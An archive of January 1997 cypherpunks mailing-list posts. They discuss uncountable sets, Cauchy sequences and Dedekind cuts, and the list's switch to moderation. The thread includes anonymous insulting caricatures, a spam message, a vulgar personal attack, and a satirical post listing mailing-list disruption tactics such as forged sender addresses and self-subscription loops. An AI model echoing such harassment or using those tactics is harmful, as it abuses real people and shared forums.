Message-ID: <199701200223.SAA17184@netcom19.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 > In reference to numbers which you can't describe, if you
 > examine the work they are ALL in the Complex domain, none of
 > them are Real's.

Only countably many real numbers, or members of any uncountable
set, are denumerable. It is the property of being uncountable,
rather than of being real or complex, which is important here.

In general, only countably many members of any uncountable set
can be precisely specified within any formal system, given names
comprised of strings of symbols, or other similar things.

 > Complex numbers deal with areas, not with lengths.

It is often convenient, such as when drawing contour maps, to
consider the complex numbers to be in 1-1 correspondence with the
points of the plane.  However, I wouldn't necessarily consider
regions of the complex plane to have "area" in the Euclidian
sense.

 > If there existed a Real for which we could not describe
 > this would imply that we could not draw a line of that
 > length.

We can't physically draw a line segment to arbitrary high
precision. We can conceive of the notion of line segments being
in 1-1 correspondence with the reals, but we can specify at most
countably many "finitely denumerable" line segments if we wish to
discuss their lengths individually.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:25:49 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
In-Reply-To: <3.0.32.19970119160951.006c26ac@ricochet.net>
Message-ID: <32E2D795.4B0D@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> One approach to the name question would be to eliminate
> "cypherpunks@toad.com" and force old/new subscribers to choose between
> "cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
> that it provides more accurate feedback about what people want; the present
> method provides information about the perceived value of unmoderation
> weighed against the bother of dealing with subscribing & unsubscribing. The
> disadvantage is that it's likely to eliminate many subscribers, and that it
> tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
> years old.

A good thought, Greg.  One problem, though.  My suspicion is that
Gilmore/Sandfort really wanted to have all the current subscribers
to the old unedited list to automatically be part of the new edited
list.  I don't think your possible approach would be acceptable to
anyone I know, forcing people to re-subscribe (and implying that those
who don't do anything would be unsubscribed, which would freak the
list owners out for sure).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 20:55:42 -0800 (PST)
To: Greg Broiles <gbroiles@netbox.com>
Subject: Re: Thoughts re moderation, filtering, and name changes
Message-ID: <199701200455.UAA00370@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Greg Broiles wrote:
> One approach to the name question would be to eliminate
> "cypherpunks@toad.com" and force old/new subscribers to choose between
> "cypherpunks-edited" and "cypherpunks-unedited". The advantage I see is
> that it provides more accurate feedback about what people want; the present
> method provides information about the perceived value of unmoderation
> weighed against the bother of dealing with subscribing & unsubscribing. The
> disadvantage is that it's likely to eliminate many subscribers, and that it
> tends to abandon the "cypherpunks@toad.com" history which is, by now, ~5
> years old.

A good thought, Greg.  One problem, though.  My suspicion is that
Gilmore/Sandfort really wanted to have all the current subscribers
to the old unedited list to automatically be part of the new edited
list.  I don't think your possible approach would be acceptable to
anyone I know, forcing people to re-subscribe (and implying that those
who don't do anything would be unsubscribed, which would freak the
list owners out for sure).






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:29:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: [STEGO] Sphere packings
In-Reply-To: <199701191938.LAA32285@mailmasher.com>
Message-ID: <32E2D857.34EC@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

I haven't saved any of these posts, and after all this time, it
occurs to me that a complete collection of the caricatures, doable
on a standard keyboard, would make a nice children's playbook.

Has anyone thought of this?

> Tim C. May will.....
>          \|/
>         (*,*) Tim C. May
>        _m_-_m_





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@zifi.genetics.utah.edu (Anonymous)
Date: Sun, 19 Jan 1997 17:38:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: [CRYPTO] One-time pads
Message-ID: <199701200138.SAA05836@zifi.genetics.utah.edu>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May is a pimply dweeb sitting at a computer 
chortling at his own imagined cleverness.

        ))))
       ))  OO  Timmy May
       6   (_)
       `____c





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Sandy Sandfort <sandfort@crl.com>
Date: Sun, 19 Jan 1997 19:03:04 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: AIDAS, SHMADIDAS
In-Reply-To: <199701200154.TAA06113@manifold.algebra.com>
Message-ID: <Pine.SUN.3.91.970119183621.14346C-100000@crl3.crl.com>
MIME-Version: 1.0
Content-Type: text/plain


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
                          SANDY SANDFORT
 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .

C'punks,

On Sun, 19 Jan 1997 ichudov@algebra.com wrote:

> I would love to hear Sandy's statement as to whether AIDAS is Sandy 
> Sandfort or not. If Sandy says no, I will believe him, because his
> reputation has a longer time span than AIDAS's. 
> 
> In case Sandy says that AIDAS is not him, I will publicly retract my
> statement, which by the way I made to AIDAS privately (I have no idea
> why he posted it to the mailing list, although I do not really mind).

Normally, I would not comment one way or the other on this sort
of thing.  We have a whole alphabet soup of aliases out there and
I don't intend to waste time with denials.  Heck, it helps keep
an air of mystery about the list.  But Igor has been a fair and
reasoned contributor to this list, so as a personal favor I will
admit that I AM NOT AIDAS.  Sorry, but that's the truth.


 S a n d y

P.S.	I'm not Igor either.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Sun, 19 Jan 1997 18:43:23 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Sandy and the Doc
In-Reply-To: <Pine.SUN.3.91.970119094124.16633B-100000@crl9.crl.com>
Message-ID: <32E2DBA6.12D8@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Sandy Sandfort wrote:
> On Sun, 19 Jan 1997, Dale Thorn wrote:
> > Your/Gilmore's *renaming* of the original list, and co-opting of the
> > *original* name for the edited list is prima facie evidence of bad
> > faith,...

> Sophist, paranoid nonsense.  This one-month test is of a
> moderated *Cypherpunks* list.  So there was no renaming.
> The unedited list was a gimme for cry babies such as Dale.

Lookie here, folks.  This is the flaming jerk who'll be editing your
posts to the list.  Note that we have a NEW admission from the Sandy
man: the unedited list was NOT in fact a given.  BTW, John Gilmore
says just the opposite.

> When the test is complete, things will go back to the previous
> status if that's what folks want.  If not, Cypherpunks will
> continue as a moderated list (of some sort, further test may be
> conducted if list members want).

Again, contrary to Gilmore's statement(s).  Who is this guy, and is
he taking over Gilmore's persona or something?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: cyberdude@iname.com
Date: Sun, 19 Jan 1997 18:49:50 -0800 (PST)
Subject: 'Making Money Fast"
Message-ID: <199701200249.SAA27748@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I took YOUR address from this news group, because it's obvious that you are aggressive and
"  WANT TO MAKE MONEY FAST ' 
For more information contact   cyberdude@iname.com 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:06:54 -0800 (PST)
To: frantz@netcom.com (Bill Frantz)
Subject: Re: Sandy and the Doc
In-Reply-To: <v03007809af0844db02a5@[204.31.235.152]>
Message-ID: <199701200101.TAA05711@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Bill Frantz wrote:
> 
> At 12:16 AM -0800 1/19/97, Igor Chudov @ home wrote:
> >If you trust me, or someone else, like Prof. Dave Hayes, here's what
> >we can do: I establish a sendmail alias cypherpunks@algebra.com that
> >expands to, say, your address and also cypherpunks@toad.com.
> >
> >...
> >
> >If you indeed notice an impropriety, the digitally signed receipts
> >will be your proof that articles were submitted. As long as the
> >other readers trust me (or Dave Hayes, or whoever volunteers), you
> >will have a strong case even without relying on freudian slips.
> 
> I hope if such a system is set up, people who use it will realize that
> email is not 100% reliable.  Just because algebra.com sent mail to
> toad.com, doesn't mean that toad.com actually received it.  A small
> fraction of a percent of these messages will be lost.

That is correct, although only a very small fraction of mail is lost.

If a pattern would appear, however, that would be a strong argument.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:07:17 -0800 (PST)
To: cypherpunks
Subject: THIS IS THE LAST UNMODERATED MESSAGE TO CYPHERPUNKS
Message-ID: <199701200306.TAA28191@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


OK, I think we're finally ready to go live with a moderated cypherpunks
list (modulo glitches).  Operators (well, Sandy) are standing by!

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:21:22 -0800 (PST)
To: cypherpunks, gnu
Subject: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701200321.TAA28578@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you see this, Sandy has approved it and forwarded it to the list.
Of course, this is modulo glitches and bugs.  It may take a few days
to get everything 100% right.  And the messages will undoubtedly arrive
on your site in a different order than the order in which they were sent
(due to queueing at various places, mostly on toad.com).

Welcome to (what I hope is) a more useful and less confrontative
cypherpunks list.  Now, can we get back to talking about cryptography?

	John Gilmore




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Gilmore <gnu@toad.com>
Date: Sun, 19 Jan 1997 19:40:55 -0800 (PST)
To: gnu@toad.com
Subject: THIS IS THE FIRST MESSAGE TO THE MODERATED CYPHERPUNKS LIST
Message-ID: <199701200340.TAA29072@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


If you see this, Sandy has approved it and forwarded it to the list.
Of course, this is modulo glitches and bugs.  It may take a few days
to get everything 100% right.  And the messages will undoubtedly arrive
on your site in a different order than the order in which they were sent
(due to queueing at various places, mostly on toad.com).

Welcome to (what I hope is) a more useful and less confrontative
cypherpunks list.  Now, can we get back to talking about cryptography?

	John Gilmore





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: mpd@netcom.com (Mike Duvos)
Date: Sun, 19 Jan 1997 19:30:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
Message-ID: <199701200330.TAA25727@netcom22.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 >> One can construct the reals from the rationals quite easily
 >> using any of several well-known methods, such as
 >> equivalence classes of Cauchy sequences, or Dedikind cuts.

 > So you are saying that the Reals are a subset (ie can be
 > constructed from) of the Rationals?

Yes, the Reals can be constructed from the Rationals.  No, the
Reals are not a subset of the Rationals.

Fortunately, construction in mathematics is not simply limited to
the taking of subsets.  The Rationals can be constructed from the
Integers, for instance, by multiplication and the taking of
appropriate equivalence classes.

In fact, everything can be built out of two sets and the axioms
of Set Theory.

 > I can create a number which is not representable by the
 > ratio of two integers from two numbers which are
 > representable by ratios of two integers?

Er, no.  But you can create a number which is not representable
as a fraction as a limit point of very many fractions.

 > That's a nifty trick indeed, I am really impressed.

Thank-you. :)

 > Cauchy produced a test for testing convergence. I fail to
 > see the relevance here, but please expound...

Cauchy sequences are useful for adding limit points to a set of
things because their convergence criteria is very simple, and it
is conceptually easy to take all Cauchy sequences whose elements
come from a given set.

If we then consider equivalence classes of those Cauchy sequences
which converge to the same limit, and consider an element of the
original set to correspond to the class containing the sequence
all of whose members are that element, we can consider the
classes to form a "completion" of the original set by addition of
all its limit points.

Similarly, the Reals are the completion of the Rationals.

 > Dedekind Cut:

 > "Thus a nested sequence of rational intervals give rise to
 > a seperation of all rational numbers into three classes."

 > Just exactly where does this allow us to create Reals?

Finite ordered sets have maximum elements.  Bounded infinite
ordered sets have Least Upper Bounds, which may be a limit point
as opposed to being an actual member of the set.

Dedekind Cuts are a simple abstraction, often used to construct
the Reals from the Rationals in undergraduate calculus courses.
Conceptually, one makes a single "cut" in the set of Rationals,
dividing it into two parts, all of the members of one part being
greater than all of the members of the other.  The number of ways
of doing this correspond to the Reals.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mike Duvos <mpd@netcom.com>
Date: Sun, 19 Jan 1997 19:55:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: [Math Noise]
Message-ID: <199701200355.TAA29371@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Jim Choate <ravage@EINSTEIN.ssz.com> writes:

 >> One can construct the reals from the rationals quite easily
 >> using any of several well-known methods, such as
 >> equivalence classes of Cauchy sequences, or Dedikind cuts.

 > So you are saying that the Reals are a subset (ie can be
 > constructed from) of the Rationals?

Yes, the Reals can be constructed from the Rationals.  No, the
Reals are not a subset of the Rationals.

Fortunately, construction in mathematics is not simply limited to
the taking of subsets.  The Rationals can be constructed from the
Integers, for instance, by multiplication and the taking of
appropriate equivalence classes.

In fact, everything can be built out of two sets and the axioms
of Set Theory.

 > I can create a number which is not representable by the
 > ratio of two integers from two numbers which are
 > representable by ratios of two integers?

Er, no.  But you can create a number which is not representable
as a fraction as a limit point of very many fractions.

 > That's a nifty trick indeed, I am really impressed.

Thank-you. :)

 > Cauchy produced a test for testing convergence. I fail to
 > see the relevance here, but please expound...

Cauchy sequences are useful for adding limit points to a set of
things because their convergence criteria is very simple, and it
is conceptually easy to take all Cauchy sequences whose elements
come from a given set.

If we then consider equivalence classes of those Cauchy sequences
which converge to the same limit, and consider an element of the
original set to correspond to the class containing the sequence
all of whose members are that element, we can consider the
classes to form a "completion" of the original set by addition of
all its limit points.

Similarly, the Reals are the completion of the Rationals.

 > Dedekind Cut:

 > "Thus a nested sequence of rational intervals give rise to
 > a seperation of all rational numbers into three classes."

 > Just exactly where does this allow us to create Reals?

Finite ordered sets have maximum elements.  Bounded infinite
ordered sets have Least Upper Bounds, which may be a limit point
as opposed to being an actual member of the set.

Dedekind Cuts are a simple abstraction, often used to construct
the Reals from the Rationals in undergraduate calculus courses.
Conceptually, one makes a single "cut" in the set of Rationals,
dividing it into two parts, all of the members of one part being
greater than all of the members of the other.  The number of ways
of doing this correspond to the Reals.

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     mpd@netcom.com     $    via Finger.                      $






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: aidas@ixsrs4.ix.netcom.com
Date: Sun, 19 Jan 1997 17:37:07 -0800 (PST)
To: "Igor Chudov @ home" <ichudov@algebra.com>
Subject: Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT
In-Reply-To: <199701200127.TAA05918@manifold.algebra.com>
Message-ID: <Pine.LNX.3.95.970119193510.10335A-100000@ixsrs4.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 19 Jan 1997, Igor Chudov @ home wrote:

> i agree with dale thorn that you are sandy sandfort.
> 
> igor

Believe what you will.

You only prove the old saying that goes simply, "People are stupid."
Exactly why, aside from the obvious unwarranted and inaccurate assumption,
is left as an exercise to the reader. Think of it as an intelligence test.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:55:05 -0800 (PST)
To: aba@dcs.ex.ac.uk (Adam Back)
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
In-Reply-To: <199701162142.VAA06080@server.test.net>
Message-ID: <199701200151.TAA06089@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


my predictions: 

	1) Dale Thorn will become another Kagalenko and will mailbomb mods
	2) 90% of cypherpunks-moderated will be about moderation
	   and censorship
	3) there will be massive openings of alternative cypherpunks
	   mailing lists, all doomed to fail
	4) several alt.* newsgroups like alt.cypherpunks will be created
	5) main business of freedom-knights will be shitting and spitting 
	   at cypherpunks in alt.cypherpunks
	6) moderators will spend increasing amounts of time on their work
	7) crossposting between alt.cypherpunks and mail.cypherpunks
	   will be prohibited by alt.cypherpunks FAQ, posted monthly
	   by Dr. John Martin Grubor

igor

Adam Back wrote:
> 
> 
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> 
> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.
> 
> Denial of service on mailing lists is a complex business, and requires
> expert human input to be done properly.
> 
> Dimitri has systematically explored these types of posting behaviour:
> 
> 1. Posting only crypto relevant material.
> 2. Interspersing crypto relevant posts with hand personalised flame bait.
> 3. Interspersing crypto relevant posts with bot generated flame bait.
> 4. Interspersing crypto relevant posts with news stories.
> 5. Posting only non crypto relevant material.
> 
> The alert reader will recall these phases of posting style (currently
> we are in sub experiment 5, the other phases have occured over a
> protracted period of intensive experimentation, and some newer readers
> may have missed earlier phases).
> 
> There were other experiments which may or may not have been part of
> Dimitri's series of DoS experiments:
> 
> 6. Subscribing the list to itself (testing list resilience to recursion)
> 
> 7. Forging posts to carefully selected newsgroups with
> "cypherpunks@toad.com" as the sender (this indirectly adds user
> "cypherpunks@toad.com" to many direct marketing lists as direct
> marketers make use of email addresses scanned from newsgroups).
> 
> 8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
> and ensuing instructions and discussion
> 
> 9. Subscribing the list to other lists
> 
> 10. Bot generated flame bait posted anonymously (with ascii art)
> 
> >From the post I am following up to the reader will observe an oblique
> reference to the transition from phase 4 of the experiments to the
> current phase, phase 5 (the reader will also note references to experimental
> results c and d described below):
> 
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > One memorable "censorship" incident occurred when the lying cocksucker
> > John Gilmore (spit) forcibly unsubscribed me from this list because he
> > didn't like the contents of my submissions - or did you forget already?
> > Look up Declan's disgraceful writeup on Netly News archives.
> > 
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> More widely read cypherpunks will know that Dimitri has performed
> similar experiments in other fora -- his systematic experiments in
> numerous USENET newsgroups resulted in the his receiving the
> prestigious KOTM ("Kook Of The Month") award.
> 
> His main experimental results to date with the cypherpunks mailing
> list series of experiments have been:
> 
> a) many cypherpunks publically announcing kill filing him
> 
> b) numerous cypherpunks suggesting censoring him (a particularly
> interesting result considering the libertarian leanings of many on
> this list)
> 
> c) the outstanding experimental result of being forcibly unsubscribed
> from the list, and of being barred from resubscribing by John Gilmore.
> (creator of alt.* USENET newsgroup hierarchy, and well know freespeech
> advocate)
> 
> d) another interesting, incidental experimental result was provided by
> Declan McCullagh in his Netly News piece in prematurely, and entirely
> unwittingly, publishing some of Dimitri's expermiental data-set.
> 
> e) the main experimental result: the list shortly moving to a
> moderated form, seemingly at the request of Sandy Sandfort, with
> agreement from John Gilmore.
> 
> These experimental results are quite significant, when taken in the
> context of the anti-censorship, libertarian, pro-freespeech
> environment of the cypherpunks mailing list.  Dimitri should be
> congratulated on his outstanding work.
> 
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> 
> 1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
> those who don't read Dale, he is subscribed to "cypherpunks-unedited"
> in preparation for the moderation).
> 
> 2. Testing Sandy Sandforts rejection criteria.
> 
> 3. Testing Sandy Sandforts rejection rate for long crypto relevant
> posts interspersed with irrelevant flame bait.
> 
> 4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
> 
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
> 
> Adam
> --
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 



	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 20:56:07 -0800 (PST)
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Dr Vulis's crypto experiment (Re: IMDMP: SOURCE CODE RELEASE ANNOUNCEMENT)
Message-ID: <199701200456.UAA00406@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


my predictions: 

	1) Dale Thorn will become another Kagalenko and will mailbomb mods
	2) 90% of cypherpunks-moderated will be about moderation
	   and censorship
	3) there will be massive openings of alternative cypherpunks
	   mailing lists, all doomed to fail
	4) several alt.* newsgroups like alt.cypherpunks will be created
	5) main business of freedom-knights will be shitting and spitting 
	   at cypherpunks in alt.cypherpunks
	6) moderators will spend increasing amounts of time on their work
	7) crossposting between alt.cypherpunks and mail.cypherpunks
	   will be prohibited by alt.cypherpunks FAQ, posted monthly
	   by Dr. John Martin Grubor

igor

Adam Back wrote:
> 
> 
> It's occured to me recently that Dimitri's posts are not being read
> correctly, it is not the content which is the point, nor the
> superficial lack of crypto relevance.
> 
> Dimitri is an intelligent guy, and has a high level of crypto
> expertise (he has a PhD on a cryptography topic).  It is my belief
> that his posts can only be understood in a "meta" sense -- he is
> engaged in a highly complex cryptographic experiment.  People who read
> and respond to his individual posts are the unwitting subjects in his
> experiments.  His posts and the responses to them are actually the
> data-set for a thorough cryptanalysis of mailing list threats.  His
> current topic under investigation is Denial of Service (DoS) attacks
> on mailing lists.
> 
> Denial of service on mailing lists is a complex business, and requires
> expert human input to be done properly.
> 
> Dimitri has systematically explored these types of posting behaviour:
> 
> 1. Posting only crypto relevant material.
> 2. Interspersing crypto relevant posts with hand personalised flame bait.
> 3. Interspersing crypto relevant posts with bot generated flame bait.
> 4. Interspersing crypto relevant posts with news stories.
> 5. Posting only non crypto relevant material.
> 
> The alert reader will recall these phases of posting style (currently
> we are in sub experiment 5, the other phases have occured over a
> protracted period of intensive experimentation, and some newer readers
> may have missed earlier phases).
> 
> There were other experiments which may or may not have been part of
> Dimitri's series of DoS experiments:
> 
> 6. Subscribing the list to itself (testing list resilience to recursion)
> 
> 7. Forging posts to carefully selected newsgroups with
> "cypherpunks@toad.com" as the sender (this indirectly adds user
> "cypherpunks@toad.com" to many direct marketing lists as direct
> marketers make use of email addresses scanned from newsgroups).
> 
> 8. The "UNSCRIVE" and other spelling variations of "unsubscribe" epidemic,
> and ensuing instructions and discussion
> 
> 9. Subscribing the list to other lists
> 
> 10. Bot generated flame bait posted anonymously (with ascii art)
> 
> >From the post I am following up to the reader will observe an oblique
> reference to the transition from phase 4 of the experiments to the
> current phase, phase 5 (the reader will also note references to experimental
> results c and d described below):
> 
> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > One memorable "censorship" incident occurred when the lying cocksucker
> > John Gilmore (spit) forcibly unsubscribed me from this list because he
> > didn't like the contents of my submissions - or did you forget already?
> > Look up Declan's disgraceful writeup on Netly News archives.
> > 
> > At that time most valuable contributors to this list (such as myself)
> > resolved not to contribute crypto-relevant content to a censored forum.
>   ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
> 
> More widely read cypherpunks will know that Dimitri has performed
> similar experiments in other fora -- his systematic experiments in
> numerous USENET newsgroups resulted in the his receiving the
> prestigious KOTM ("Kook Of The Month") award.
> 
> His main experimental results to date with the cypherpunks mailing
> list series of experiments have been:
> 
> a) many cypherpunks publically announcing kill filing him
> 
> b) numerous cypherpunks suggesting censoring him (a particularly
> interesting result considering the libertarian leanings of many on
> this list)
> 
> c) the outstanding experimental result of being forcibly unsubscribed
> from the list, and of being barred from resubscribing by John Gilmore.
> (creator of alt.* USENET newsgroup hierarchy, and well know freespeech
> advocate)
> 
> d) another interesting, incidental experimental result was provided by
> Declan McCullagh in his Netly News piece in prematurely, and entirely
> unwittingly, publishing some of Dimitri's expermiental data-set.
> 
> e) the main experimental result: the list shortly moving to a
> moderated form, seemingly at the request of Sandy Sandfort, with
> agreement from John Gilmore.
> 
> These experimental results are quite significant, when taken in the
> context of the anti-censorship, libertarian, pro-freespeech
> environment of the cypherpunks mailing list.  Dimitri should be
> congratulated on his outstanding work.
> 
> I await with interest the last phases of Dimitri's experiment, when
> the cypherpunks list becomes a moderated forum.  My suggestions for
> interesting experiments during the moderated phase are:
> 
> 1. Testing the limits of Dale Thorn's anti-censorship sentiments (for
> those who don't read Dale, he is subscribed to "cypherpunks-unedited"
> in preparation for the moderation).
> 
> 2. Testing Sandy Sandforts rejection criteria.
> 
> 3. Testing Sandy Sandforts rejection rate for long crypto relevant
> posts interspersed with irrelevant flame bait.
> 
> 4. Testing Sandy Sandforts rejection rate for posts with flame bait .sigs
> 
> I hope Dimitri's selfless efforts in furthering understanding of DoS
> attacks on mailing lists is properly acknowledged when he publishes
> his findings on completion of his experiments.  I also hope that
> Dimitri will document his recommendations for mailing list
> configuration and management in light of his experiments.
> 
> Adam
> --
> print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
> )]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Sun, 19 Jan 1997 17:58:49 -0800 (PST)
To: cypherpunks@toad.com (Cypherpunks)
Subject: AIDAS, SHMADIDAS
In-Reply-To: <Pine.LNX.3.95.970119193510.10335A-100000@ixsrs4.ix.netcom.com>
Message-ID: <199701200154.TAA06113@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


aidas@ixsrs4.ix.netcom.com wrote:
> On Sun, 19 Jan 1997, Igor Chudov @ home wrote:
> > i agree with dale thorn that you are sandy sandfort.
> > 
> > igor
> 
> Believe what you will.
> 
> You only prove the old saying that goes simply, "People are stupid."
> Exactly why, aside from the obvious unwarranted and inaccurate assumption,
> is left as an exercise to the reader. Think of it as an intelligence test.

My wild guess is, you wanted to say that I am stupid. You think that my
stupidity implies that people are stupid. OK.

AIDAS will disappear next day, but Sandy will not. 

I would love to hear Sandy's statement as to whether AIDAS is Sandy 
Sandfort or not. If Sandy says no, I will believe him, because his
reputation has a longer time span than AIDAS's. 

In case Sandy says that AIDAS is not him, I will publicly retract my
statement, which by the way I made to AIDAS privately (I have no idea
why he posted it to the mailing list, although I do not really mind).

If Sandy chooses not to comment, I will understand.

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
Date: Sun, 19 Jan 1997 19:10:37 -0800 (PST)
To: Paul Elliott <paul.elliott@hrnowl.lonestar.org>
Subject: Re: Numbers we cannot talk about
Message-ID: <199701200310.TAA28307@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Paul Elliott wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> > At 10:48 PM 1/18/1997, Secret Squirrel wrote:
> > >Is it REALLY true that there are real numbers that cannot be
> > >generated by any algorithm? Some guy said that since the set of
> > >algorithms is countable, but the set of real numbers is more than
> > >countable, there must be some numbers for which there is no
> > >algorithms that generate them.
> > 
> > There are sets of real numbers whose existence we can prove, but which
> > we cannot otherwise describe.  This is more extreme than being
> > "generated by an algorithm".  We can't even tell somebody which
> > numbers to generate!  (I take "to generate" here to mean "to compute a
> > decimal approximation.")
> > 
> > The set of real numbers is uncountable as is the set of subsets of the
> > real numbers.  Yet, we have only countably infinite ways to describe
> > sets of numbers.
> > 
> > All sets of numbers which we can describe can be described with a
> > finite set of symbols.  (Human beings are unable to distinguish
> > between an infinite number of states.)  The set of combinations of
> > this finite set is infinite, but countable.
> > 
> 
> Perhaps the axioms in set theory that tells us that the integers
> have an uncountable number of subsets is, in point of fact, false.
> Perhaps only those subsets of the integers that can be described
> by an algorithm exist (actually, contrary to what the usual axioms of
> set theory assert).

It is very interesting. My limited understanding of this approach is
that they say that only things that can be constructed by some
positive method exist (please correct me if I am mistaken).

But the question is, where do they stop and what exactly is "construction?"

Say, does sqrt(2) "exist" in their sense of the world? We know we can
calculate any given number of digits in it, is that enough?

> We know that the set of axioms which tell us that there are unaccountably
> many reals can be satisfied by a countable model!
> (Downward Louwenheim Skolem Tarski theorem.)
> 
> I know that Standard mathematical axioms yields lots of interesting
> results, but when it talks of the infinite and we are dealing
> with a practical subject like cryptography or even physics it
> should not be taken too seriously. (With respect to uncountable sets.)

Some of the applications of these theories are very relevant. For
example, a theorem that proves that it is impossible to write a program
that would determine if any other program would stop or loop forever, is
very relevant and interesting.

	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com
